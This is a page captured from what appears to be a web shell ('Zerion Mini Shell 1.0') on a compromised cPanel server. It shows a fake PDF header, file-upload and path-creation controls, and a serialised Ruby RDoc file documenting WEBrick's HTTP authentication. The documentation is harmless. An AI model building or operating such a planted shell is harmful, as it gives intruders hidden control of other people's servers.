%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/WEBrick/HTTPAuth/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/WEBrick/HTTPAuth/cdesc-HTTPAuth.ri

U:RDoc::NormalModule[iI"
HTTPAuth:EFI"WEBrick::HTTPAuth;T0o:RDoc::Markup::Document:@parts[
o;;[o:RDoc::Markup::Paragraph;[I"<HTTPAuth provides both basic and digest authentication.;To:RDoc::Markup::BlankLineo;	;[I"KTo enable authentication for requests in WEBrick you will need a user ;TI"Odatabase and an authenticator.  To start, here's an Htpasswd database for ;TI")use with a DigestAuth authenticator:;T@o:RDoc::Markup::Verbatim;[I"7config = { :Realm => 'DigestAuth example realm' }
;TI"
;TI"Chtpasswd = WEBrick::HTTPAuth::Htpasswd.new 'my_password_file'
;TI"8htpasswd.auth_type = WEBrick::HTTPAuth::DigestAuth
;TI"@htpasswd.set_passwd config[:Realm], 'username', 'password'
;TI"htpasswd.flush
;T:@format0o;	;[I"JThe +:Realm+ is used to provide different access to different groups ;TI"Kacross several resources on a server.  Typically you'll need only one ;TI"realm for a server.;T@o;	;[I":This database can be used to create an authenticator:;T@o;;[I" config[:UserDB] = htpasswd
;TI"
;TI"<digest_auth = WEBrick::HTTPAuth::DigestAuth.new config
;T;0o;	;[I"NTo authenticate a request call #authenticate with a request and response ;TI"object in a servlet:;T@o;;[I"def do_GET req, res
;TI",  @authenticator.authenticate req, res
;TI"	end
;T;0o;	;[I"KFor digest authentication the authenticator must not be created every ;TI"Nrequest, it must be passed in as an option via WEBrick::HTTPServer#mount.;T:
@fileI"lib/webrick/httpauth.rb;T:0@omit_headings_from_table_of_contents_below0o;;[;
I"*lib/webrick/httpauth/authenticator.rb;T;0o;;[;
I"&lib/webrick/httpauth/basicauth.rb;T;0o;;[;
I"'lib/webrick/httpauth/digestauth.rb;T;0o;;[;
I"%lib/webrick/httpauth/htdigest.rb;T;0o;;[;
I"$lib/webrick/httpauth/htgroup.rb;T;0o;;[;
I"%lib/webrick/httpauth/htpasswd.rb;T;0o;;[;
I"#lib/webrick/httpauth/userdb.rb;T;0;
0;0[[[[[I"
class;T[[:public[[:protected[[:private[[I"
instance;T[[;[[I"basic_auth;FI"lib/webrick/httpauth.rb;T[I"proxy_basic_auth;F@b[;[[;[[[U:RDoc::Context::Section[i0o;;[;
0;0[
@8@;@>@A@D@G@J@MI"WEBrick;FcRDoc::NormalModule

Zerion Mini Shell 1.0